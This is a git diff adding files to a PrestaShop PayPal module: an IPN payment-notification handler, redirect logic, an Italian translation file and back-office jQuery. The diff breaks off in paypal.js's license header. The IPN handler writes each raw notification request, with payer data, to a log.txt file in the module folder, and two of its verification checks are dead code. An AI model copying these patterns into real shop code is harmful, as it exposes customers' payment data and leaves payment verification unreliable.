displayContent() + { + $id_order = (int)Tools::getValue('id_order'); + $order = PayPalOrder::getOrderById($id_order); + $price = Tools::displayPrice($order['total_paid'], $this->context->currency); + + $this->context->smarty->assign(array( + 'order' => $order, + 'price' => $price, + )); + if(version_compare(_PS_VERSION_, '1.5', '>')) + { + $this->context->smarty->assign(array( + 'reference_order' => Order::getUniqReferenceOf($id_order) + )); + } + + echo $this->context->smarty->fetch(_PS_MODULE_DIR_.'/paypal/views/templates/front/order-confirmation.tpl'); + } +} + +$id_cart = Tools::getValue('id_cart'); +$id_module = Tools::getValue('id_module'); +$id_order = Tools::getValue('id_order'); +$key = Tools::getValue('key'); + +if ($id_module && $id_order && $id_cart && $key) +{ + if (version_compare(_PS_VERSION_, '1.5', '<')) + { + $integral_evolution_submit = new PayPalIntegralEvolutionSubmit(); + $integral_evolution_submit->run(); + } +} +elseif ($id_cart) +{ + // Redirection + $values = array( + 'id_cart' => (int)$id_cart, + 'id_module' => (int)Module::getInstanceByName('paypal')->id, + 'id_order' => (int)Order::getOrderByCartId((int)$id_cart), + ); + + if (version_compare(_PS_VERSION_, '1.5', '<')) + { + $customer = new Customer(Context::getContext()->cookie->id_customer); + $values['key'] = $customer->secure_key; + $url = _MODULE_DIR_.'/paypal/integral_evolution/submit.php'; + Tools::redirectLink($url.'?'.http_build_query($values, '', '&')); + } + else + { + $values['key'] = Context::getContext()->customer->secure_key; + $link = Context::getContext()->link->getModuleLink('paypal', 'submit', $values); + Tools::redirect($link); + } +} +else + Tools::redirectLink(__PS_BASE_URI__); +exit(0); diff --git a/modules/paypal/ipn.php b/modules/paypal/ipn.php new file mode 100755 index 0000000..b24189b --- /dev/null +++ b/modules/paypal/ipn.php @@ -0,0 +1,250 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../config/config.inc.php'); +include_once(_PS_MODULE_DIR_.'paypal/paypal.php'); + +/* + * Instant payment notification class. + * (wait for PayPal payment confirmation, then validate order) + */ +class PayPalIPN extends PayPal +{ + + public function getIPNTransactionDetails($result) + { + if (is_array($result) || (strcmp(trim($result), "VERIFIED") === false)) + { + $transaction_id = pSQL($result['txn_id']); + + return array( + 'id_transaction' => $transaction_id, + 'transaction_id' => $transaction_id, + 'id_invoice' => $result['invoice'], + 'currency' => pSQL($result['mc_currency']), + 'total_paid' => (float)$result['mc_gross'], + 'shipping' => (float)$result['mc_shipping'], + 'payment_date' => pSQL($result['payment_date']), + 'payment_status' => pSQL($result['payment_status']), + ); + } + else + { + $transaction_id = pSQL(Tools::getValue('txn_id')); + + return array( + 'id_transaction' => $transaction_id, + 'transaction_id' => $transaction_id, + 'id_invoice' => pSQL(Tools::getValue('invoice')), + 'currency' => pSQL(Tools::getValue('mc_currency')), + 'total_paid' => (float)Tools::getValue('mc_gross'), + 'shipping' => (float)Tools::getValue('mc_shipping'), + 'payment_date' => pSQL(Tools::getValue('payment_date')), + 'payment_status' => pSQL(Tools::getValue('payment_status')), + ); + } + } + + public function confirmOrder($custom) + { + $result = $this->getResult(); + + $payment_status = Tools::getValue('payment_status'); + $mc_gross = Tools::getValue('mc_gross'); + $txn_id = Tools::getValue('txn_id'); + + $id_order = (int)PayPalOrder::getIdOrderByTransactionId($txn_id); + + if ($id_order != 0) + Context::getContext()->cart = new Cart((int)$id_order); + elseif (isset($custom['id_cart'])) + Context::getContext()->cart = new Cart((int)$custom['id_cart']); + + $address = new Address((int)Context::getContext()->cart->id_address_invoice); + Context::getContext()->country = new Country((int)$address->id_country); + Context::getContext()->customer = new Customer((int)Context::getContext()->cart->id_customer); + Context::getContext()->language = new Language((int)Context::getContext()->cart->id_lang); + Context::getContext()->currency = new Currency((int)Context::getContext()->cart->id_currency); + + if (isset(Context::getContext()->cart->id_shop)) + Context::getContext()->shop = new Shop(Context::getContext()->cart->id_shop); + + if (strcmp(trim($result), "VERIFIED") === false) + { + $details = $this->getIPNTransactionDetails($result); + + if ($id_order != 0) + { + $history = new OrderHistory(); + $history->id_order = (int)$id_order; + + PayPalOrder::updateOrder($id_order, $details); + $history->changeIdOrderState((int)Configuration::get('PS_OS_ERROR'), $history->id_order); + + $history->addWithemail(); + $history->save(); + } + } + elseif (strcmp(trim($result), "VERIFIED") === 0) + { + $details = $this->getIPNTransactionDetails($result); + + if (version_compare(_PS_VERSION_, '1.5', '<')) + $shop = null; + else + { + $shop_id = Context::getContext()->shop->id; + $shop = new Shop($shop_id); + } + + if ($id_order != 0) + { + $order = new Order((int)$id_order); + $values = $this->checkPayment($payment_status, $mc_gross, false); + + if ((int)$order->current_state == (int)$values['payment_type']) + return; + + $history = new OrderHistory(); + $history->id_order = (int)$id_order; + + PayPalOrder::updateOrder($id_order, $details); + $history->changeIdOrderState($values['payment_type'], $history->id_order); + + $history->addWithemail(); + $history->save(); + } + else + { + $values = $this->checkPayment($payment_status, $mc_gross, true); + $customer = new Customer((int)Context::getContext()->cart->id_customer); + $this->validateOrder(Context::getContext()->cart->id, $values['payment_type'], $values['total_price'], $this->displayName, $values['message'], $details, Context::getContext()->cart->id_currency, false, $customer->secure_key, $shop); + } + } + } + + public function checkPayment($payment_status, $mc_gross_not_rounded, $new_order) + { + $currency_decimals = is_array(Context::getContext()->currency) ? (int)Context::getContext()->currency['decimals'] : (int)Context::getContext()->currency->decimals; + $this->decimals = $currency_decimals * _PS_PRICE_DISPLAY_PRECISION_; + + $mc_gross = Tools::ps_round($mc_gross_not_rounded, $this->decimals); + + $cart_details = Context::getContext()->cart->getSummaryDetails(null, true); + $cart_hash = sha1(serialize(Context::getContext()->cart->nbProducts())); + $custom = Tools::jsonDecode(Tools::getValue('custom'), true); + + $shipping = $cart_details['total_shipping_tax_exc']; + $subtotal = $cart_details['total_price_without_tax'] - $cart_details['total_shipping_tax_exc']; + $tax = $cart_details['total_tax']; + + $total_price = Tools::ps_round($shipping + $subtotal + $tax, $this->decimals); + + if (($new_order == true) && ($this->comp($mc_gross, $total_price, 2) !== 0)) + { + $payment_type = (int)Configuration::get('PS_OS_ERROR'); + $message = $this->l('Price paid on paypal is not the same that on PrestaShop.').'
        '; + } + elseif (($new_order == true) && ($custom['hash'] != $cart_hash)) + { + $payment_type = (int)Configuration::get('PS_OS_ERROR'); + $message = $this->l('Cart changed, please retry.').'
        '; + } + else + { + return $this->getDetails($payment_status) + array( + 'payment_status' => $payment_status, + 'total_price' => $total_price + ); + } + + return array( + 'message' => $message, + 'payment_type' => $payment_type, + 'payment_status' => $payment_status, + 'total_price' => $total_price + ); + } + + public function getDetails($payment_status) + { + if ((bool)Configuration::get('PAYPAL_CAPTURE')) + { + $payment_type = (int)Configuration::get('PS_OS_WS_PAYMENT'); + $message = $this->l('Pending payment capture.').'
        '; + } + else + { + if (strcmp($payment_status, 'Completed') === 0) + { + $payment_type = (int)Configuration::get('PS_OS_PAYMENT'); + $message = $this->l('Payment accepted.').'
        '; + } + elseif (strcmp($payment_status, 'Pending') === 0) + { + $payment_type = (int)Configuration::get('PS_OS_PAYPAL'); + $message = $this->l('Pending payment confirmation.').'
        '; + } + else + { + $payment_type = (int)Configuration::get('PS_OS_ERROR'); + $message = $this->l('Cart changed, please retry.').'
        '; + } + } + + return array( + 'message' => $message, + 'payment_type' => (int)$payment_type + ); + } + + public function getResult() + { + if ((int)Configuration::get('PAYPAL_SANDBOX') == 1) + $action_url = 'https://www.sandbox.paypal.com/cgi-bin/webscr?cmd=_notify-validate'; + else + $action_url = 'https://www.paypal.com/cgi-bin/webscr?cmd=_notify-validate'; + + $request = ''; + foreach($_POST as $key => $value) + { + $value = urlencode(stripslashes($value)); + $request .= "&$key=$value"; + } + + $handle = fopen(dirname(__FILE__).'/log.txt', 'w+'); + fwrite($handle, $action_url.$request); + return Tools::file_get_contents($action_url.$request); + } + +} + +if (Tools::getIsset('custom')) +{ + $ipn = new PayPalIPN(); + $custom = Tools::jsonDecode(Tools::getValue('custom'), true); + $ipn->confirmOrder($custom); +} \ No newline at end of file diff --git a/modules/paypal/it.php b/modules/paypal/it.php new file mode 100755 index 0000000..8c75a18 --- /dev/null +++ b/modules/paypal/it.php @@ -0,0 +1,90 @@ +paypal_abstract_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Si accettano pagamenti con carte di credito e prepagate (Visa, MasterCard, Amex, Aurora) associate al conto PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Sei sicuro di voler cancellare i tuoi dati?'; +$_MODULE['<{paypal}prestashop>paypal_abstract_32af90c3cfef1bacf43b0c3a8f60a4da'] = 'Il denaro è stato recuperato '; +$_MODULE['<{paypal}prestashop>paypal_abstract_d238649ac5ec14afc894fad36c0b50fc'] = 'La richiesta di recupero fondi non è andata a buon fine, vedi il messaggio nella cronologia.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_05b998de2c4fb46a7bdd37bd378b81d9'] = 'La convalida è stata eseguita, vedi il messaggio nella cronologia. '; +$_MODULE['<{paypal}prestashop>paypal_abstract_aeca7e93a1b3d77e38c3cffa131774d5'] = 'Il rimborso è stato completato '; +$_MODULE['<{paypal}prestashop>paypal_abstract_cba030a50c8a99c7e224adbe1cf58544'] = 'La richiesta di rimborso non è andata a buon fine, vedi il messaggio nella cronologia.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_20fda49ece75d93bea97648ab1f1f1cf'] = 'Annulla i risultati per i prodotti: '; +$_MODULE['<{paypal}prestashop>paypal_abstract_e5d5d9f40763cfe6549bef705e3529a7'] = 'Il messaggio di pagamento non è valido, rivedi il tuo modulo. '; +$_MODULE['<{paypal}prestashop>paypal_abstract_ee9dc1e678d54c517f481583c3fb2db8'] = 'Non è una valuta valida'; +$_MODULE['<{paypal}prestashop>paypal_abstract_eec39bf42bd135971fb2d838c67d1449'] = 'Risultato dell\'operazione di rimborso: '; +$_MODULE['<{paypal}prestashop>paypal_abstract_2ab62d1a578713d0862b56819295630e'] = 'Rimborso PayPal completato. '; +$_MODULE['<{paypal}prestashop>paypal_abstract_a64db959966ba8d07c8b5d9493fcc21f'] = 'Errore durante la transazione '; +$_MODULE['<{paypal}prestashop>paypal_abstract_67962779da962e3d4225055afc05e7bd'] = 'Risultato operazione di riscossione: '; +$_MODULE['<{paypal}prestashop>paypal_abstract_8778ee03f6592d5fec9a1f2ee851e476'] = 'Ordine PayPal completato '; +$_MODULE['<{paypal}prestashop>paypal_abstract_672d40feac6437e49f771019bc330790'] = 'Stato della verifica: '; +$_MODULE['<{paypal}prestashop>paypal_abstract_1828820cc60e36b6f9fdf60cab103ed7'] = 'Si sta attualmente utilizzando l\'indirizzo di posta elettronica predefinito, è necessario utilizzare il proprio indirizzo e-mail'; +$_MODULE['<{paypal}prestashop>validation_20dfea1a472e5be3f15f6b5f36ca335c'] = 'Problema di connessione al server di PayPal.'; +$_MODULE['<{paypal}prestashop>validation_f7799c2ded739cf3c3e9babffc5f315b'] = 'Collegamento tramite cURL non riuscita'; +$_MODULE['<{paypal}prestashop>validation_eca77e208634d52703b07672abbf16ec'] = 'Verifica fallimento (con cURL). Restituito:'; +$_MODULE['<{paypal}prestashop>validation_8358ec19f397d4cdd632688d4f79e535'] = 'Verifica fallimento (usando fsockopen). Restituito:'; +$_MODULE['<{paypal}prestashop>validation_76ee8dc73701e846f7bccdf98dae079b'] = 'Nessuna comunicazione di trasporto disponibile.'; +$_MODULE['<{paypal}prestashop>validation_bd0e34e5be6447844e6f262d51f1a9dc'] = 'Pagamento:'; +$_MODULE['<{paypal}prestashop>validation_e0395c4ce35d0b1e59ca3f2d5e260d23'] = 'Chiave Paypal \'Custom\' non specificata, non in grado di inoltrare al carrello'; +$_MODULE['<{paypal}prestashop>validation_765261b630ee773659fae89e9ad762f5'] = 'Chiave Paypal \'Txn_id\' non specificata, operazione sconosciuta'; +$_MODULE['<{paypal}prestashop>validation_01634612f84d2b7ba56ccdf467e604b7'] = 'Chiave Paypal \'Mc_currency\' non specificata, valuta sconosciuto'; +$_MODULE['<{paypal}prestashop>validation_e61f52d02b9f52fbe1fd41ed320e29c3'] = 'Carrello non trovato'; +$_MODULE['<{paypal}prestashop>validation_0617900b1aff826081d07f5a3e2e7cd0'] = 'Ordine è già stato effettuato'; +$_MODULE['<{paypal}prestashop>validation_f5209b3301a46f3057ffbf34d903e205'] = 'ID Transazione PayPal:'; +$_MODULE['<{paypal}prestashop>validation_7b19e875ff64b09d80ee05dcc84b9975'] = 'La transazione PayPal non è stata VERIFICATA.'; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Fare nuova connessione'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Connessione non riuscita con metodo CURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Connessione con metodo CURL riuscita'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Invio di questo param.:'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Invio con metodo CURL fallito! Errore:'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Invio con metodo CURL riuscito'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Connessione non riuscita con metodo fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'Connettiti con metodo fsockopen riuscita'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Invio con metodo fsockopen non riuscito!'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Invio con metodo fsockopen riuscito'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'risposta di PayPal:'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_ee9dc1e678d54c517f481583c3fb2db8'] = 'Non è una valuta valida'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_484f5a79672cebe198ebdde45a1d672f'] = 'Pacchetto regalo:'; +$_MODULE['<{paypal}prestashop>submit_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento accettato.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pagamento accettato.'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'Che cos\'è PayPal?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, leader di fiducia nei pagamenti online, consente ad acquirenti e aziende di inviare e ricevere pagamenti online. PayPal vanta oltre 100 milioni di conti in 190 Paesi e territori. È accettato dai commercianti di tutto il mondo, dentro e fuori di eBay.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'E\' sicuro?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal consente di proteggere i dati della carta di credito con la sicurezza dei leader di settore e dei sistemi di prevenzione delle frodi. Quando utilizzi PayPal, le tue informazioni finanziarie non vengono mai condivise con il commerciante.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Perché utilizzare PayPal?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Fai acquisti o invia denaro con PayPal - è gratis'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Fai acquisti e paga comodamente salvando le tue informazioni con PayPal'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'PayPal è accettato da milioni di aziende in tutto il mondo ed è il metodo di pagamento preferito su eBay'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Inizia a utilizzare PayPal oggi stesso!'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Paga con PayPal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Il tuo ordine'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'è completo.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Hai scelto il metodo PayPal.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Il tuo ordine verrà inviato al più presto.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Per eventuali domande o per ulteriori informazioni, contatta la nostra'; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'assistenza clienti'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Il tuo carrello'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>error_425551a2289ed60c9260933d1c45ef00'] = 'Si prega di fare riferimento ai log:'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Indietro'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Conferma ordine'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Il tuo numero di ordine è:'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Segui il mio ordine'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Torna agli ordini'; +$_MODULE['<{paypal}prestashop>express_checkout_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Paga con PayPal'; +$_MODULE['<{paypal}prestashop>payment_a40cab5994f36d4c48103a22ca082e8f'] = 'Il tuo carrello'; +$_MODULE['<{paypal}prestashop>payment_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>payment_f1d3b424cd68795ecaa552883759aceb'] = 'Riepilogo dell\'ordine'; +$_MODULE['<{paypal}prestashop>payment_dd23adc5fb6bda9c384397b31e57fc53'] = 'pagamento PayPal'; +$_MODULE['<{paypal}prestashop>payment_62d74398cb6ebaa69ab7339052ca5c92'] = 'Hai scelto di pagare con PayPal.'; +$_MODULE['<{paypal}prestashop>payment_c884ed19483d45970c5bf23a681e2dd2'] = 'Ecco un breve riepilogo del tuo ordine:'; +$_MODULE['<{paypal}prestashop>payment_e2867a925cba382f1436d1834bb52a1c'] = 'L\'importo totale del tuo ordine è'; +$_MODULE['<{paypal}prestashop>payment_1f87346a16cf80c372065de3c54c86d9'] = '(tasse incl.)'; +$_MODULE['<{paypal}prestashop>payment_8ed356c32b198c9cb2abab7c3d262b93'] = 'Accettiamo che la seguente valuta sia inviata tramite PayPal:'; +$_MODULE['<{paypal}prestashop>payment_0881a11f7af33bc1b43e437391129d66'] = 'Conferma l\'ordine cliccando su \'confermo il mio ordine\''; +$_MODULE['<{paypal}prestashop>payment_46b9e3665f187c739c55983f757ccda0'] = 'Confermo il mio ordine'; +$_MODULE['<{paypal}prestashop>payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Paga con PayPal'; +$_MODULE['<{paypal}prestashop>payment_a3f2caee6ef8e68fbd26e42d83f2bf65'] = 'Paga con il tuo conto PayPal, carta di credito (Visa, Mastercard ...), o carta di credito privata'; +$_MODULE['<{paypal}prestashop>payment_b08008a2de4331ba13f006c9bcf37b62'] = 'Paga con il tuo conto PayPal'; +$_MODULE['<{paypal}prestashop>paypal_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Paga con PayPal'; diff --git a/modules/paypal/js/back_office.js b/modules/paypal/js/back_office.js new file mode 100755 index 0000000..9ab7a51 --- /dev/null +++ b/modules/paypal/js/back_office.js @@ -0,0 +1,300 @@ +/* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(document).ready( function() { + var identificationButtonClicked = false; + + /* Display correct block according to different choices. */ + function displayConfiguration() { + identificationButtonClicked = false; + + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + var integral_evolution_solution = $('input[name="integral_evolution_solution"]:checked').val(); + $('#signup span.paypal-signup-content').hide(); + $('#signup .paypal-signup-button').hide(); + + switch (paypal_business) { + case '0': + $('#signup').slideDown(); + $('#account').removeClass('disabled'); + $('#credentials').addClass('disabled'); + $('input[type="submit"]').attr('disabled', 'disabled'); + + switch (paypal_payment_method) { + case PayPal_WPS: + $('.toolbox').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u1').show(); + $('#paypal-signup-content-u1').show(); + $('#integral_evolution_solution').slideUp(); + $('#express_checkout_shortcut').slideDown(); + break; + case PayPal_HSS: + $('#signup').slideDown(); + $('#paypal-signup-button-u2').show(); + $('#paypal-signup-content-u2').show(); + $('#standard-credentials').slideUp(); + $('#account').removeClass('disabled'); + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + $('#integral_evolution_solution').slideDown(); + $('label[for="paypal_payment_wpp"] .toolbox').slideDown(); + switch (integral_evolution_solution) + { + case "1": //Iframe + $('#integral_evolution_template').slideUp(); + break; + case "0": //Redirection + $('#integral_evolution_template').slideDown(); + break; + } + break; + case PayPal_ECS: + $('.toolbox').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u3').show(); + $('#paypal-signup-content-u3').show(); + $('#integral_evolution_solution').slideUp(); + $('#express_checkout_shortcut').slideDown(); + break; + } + break; + case '1': + $('#configuration').slideDown(); + $('#account').addClass('disabled'); + $('#credentials').removeClass('disabled'); + $('input[type="submit"]').removeAttr('disabled'); + + switch (paypal_payment_method) { + case PayPal_WPS: + $('#signup').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u4').show(); + $('#integral_evolution_solution').slideUp(); + $('#express_checkout_shortcut').slideDown(); + break; + case PayPal_HSS: + $('#signup').slideDown(); + $('#paypal-signup-button-u5').show(); + $('#paypal-signup-content-u5').show(); + $('#account').removeClass('disabled'); + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + $('#integral_evolution_solution').slideDown(); + $('label[for="paypal_payment_wpp"] .toolbox').slideDown(); + switch (integral_evolution_solution) + { + case "1": //Iframe + $('#integral_evolution_template').slideUp(); + break; + case "0": //Redirection + $('#integral_evolution_template').slideDown(); + break; + } + break; + case PayPal_ECS: + $('#signup').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u6').show(); + $('#integral_evolution_solution').slideUp(); + $('#express_checkout_shortcut').slideDown(); + break; + } + break; + } + + displayCredentials(); + return; + } + + if ($('#paypal-wrapper').length != 0) { + $('.hide').hide(); + displayConfiguration(); + } + + if ($('input[name="paypal_payment_method"]').length == 1) { + $('input[name="paypal_payment_method"]').attr('checked', 'checked'); + } + + function displayCredentials() { + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + if (paypal_payment_method != PayPal_HSS && + ($('input[name="api_username"]').val().length > 0 || + $('input[name="api_password"]').val().length > 0 || + $('input[name="api_signature"]').val().length > 0)) { + $('#credentials').removeClass('disabled'); + $('#configuration').slideDown(); + $('input[type="submit"]').removeAttr('disabled'); + $('#standard-credentials').slideDown(); + $('#express_checkout_shortcut').slideDown(); + $('#integral-credentials').slideUp(); + } + else if (paypal_payment_method == PayPal_HSS && + ($('input[name="api_business_account"]').val().length > 0)) { + $('#credentials').removeClass('disabled'); + $('#configuration').slideDown(); + $('input[type="submit"]').removeAttr('disabled'); + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + } + else if (paypal_business != 1) { + $('#configuration').slideUp(); + } + } + + $('input[name="business"], input[name="paypal_payment_method"], input[name="integral_evolution_solution"]').live('change', function() { + displayConfiguration(); + }); + + $('label, a').live('mouseover', function() { + $(this).children('.toolbox').show(); + }).live('mouseout', function() { + var id = $(this).attr('for'); + var input = $('input#'+id); + + if (!input.is(':checked')) + $(this).children('.toolbox').hide(); + if (($(this).attr('id') == 'paypal-get-identification') && + (identificationButtonClicked == false)) + $(this).children('.toolbox').hide(); + }); + + $('a.paypal-signup-button, a#step3').live('click', function() { + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + $('#credentials').removeClass('disabled'); + if ($(this).attr('id') != 'paypal-signup-button-u3') + $('#account').addClass('disabled'); + + $('#configuration').slideDown(); + if (paypal_payment_method == PayPal_HSS) { + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + } else { + $('#standard-credentials').slideDown(); + $('#express_checkout_shortcut').slideDown(); + $('#integral-credentials').slideUp(); + } + $('input[type="submit"]').removeAttr('disabled'); + + if ($(this).is('#step3')) { + return false; + } + return true; + }); + + + + if ($("#paypal-wrapper").length > 0) { + $('input[type="submit"]').live('click', function() { + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + if ((paypal_payment_method != PayPal_HSS && + (($('input[name="api_username"]').val().length <= 0) || + ($('input[name="api_password"]').val().length <= 0) || + ($('input[name="api_signature"]').val().length <= 0))) || + ((paypal_payment_method == PayPal_HSS && + ($('input[name="api_business_account"]').val().length <= 0)))) { + $.fancybox({'content' : $('
        ').append($('#js-paypal-save-failure').clone().html())}); + return false; + } + return true; + }); + + $('input[name="sandbox_mode"]').live('change', function() { + if ($('input[name="sandbox_mode"]:checked').val() == '1') { + $('input[name="sandbox_mode"]').filter('[value="0"]').attr('checked', true); + var div = $('
        '); + var inner = $('#paypal-test-mode-confirmation').clone().html(); + $.fancybox({'hideOnOverlayClick' : true, 'content' : div.append(inner)}); + return false; + } + return true; + }); + + $('button.fancy_confirm').live('click', function() { + jQuery.fancybox.close(); + if ($(this).val() == '1') { + $('input[name="sandbox_mode"]').filter('[value="1"]').attr('checked', true); + } else { + $('input[name="sandbox_mode"]').filter('[value="0"]').attr('checked', true); + } + }); + + if ($('#paypal-save-success').length > 0) + $.fancybox({'hideOnOverlayClick' : true, 'content' : $('
        ').append($('#paypal-save-success').clone().html())}); + else if ($('#paypal-save-failure').length > 0) + $.fancybox({'hideOnOverlayClick' : true, 'content' : $('
        ').append($('#paypal-save-failure').clone().html())}); + + $('#paypal-get-identification').live('click', function() { + identificationButtonClicked = true; + var url = 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_get-api-signature&generic-flow=true'; + var title = 'PayPal identification informations'; + window.open (url, title, config='height=500, width=360, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, directories=no, status=no'); + return false; + }); + + $('a#paypal_country_change').live('click', function() { + var div = $('
        '); + var inner = $('#paypal-country-form-content').clone().html(); + $.fancybox({'content' : div.append(inner)}); + return false; + }); + + $('#paypal_country_default').live('change', function() { + var form = $('#paypal_configuration'); + form.append(''); + form.submit(); + }); + + + $("#paypal_login_yes_or_no input[name='paypal_login']").change(function(){ + var val = parseInt($(this).val()); + if (val === 1) + { + $("#paypal_login_configuration").slideDown(); + } + else + { + $("#paypal_login_configuration").slideUp(); + } + + }); + } + +}); diff --git a/modules/paypal/js/index.php b/modules/paypal/js/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/js/paypal.js b/modules/paypal/js/paypal.js new file mode 100755 index 0000000..cb467f8 --- /dev/null +++ b/modules/paypal/js/paypal.js @@ -0,0 +1,171 @@ +/* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file 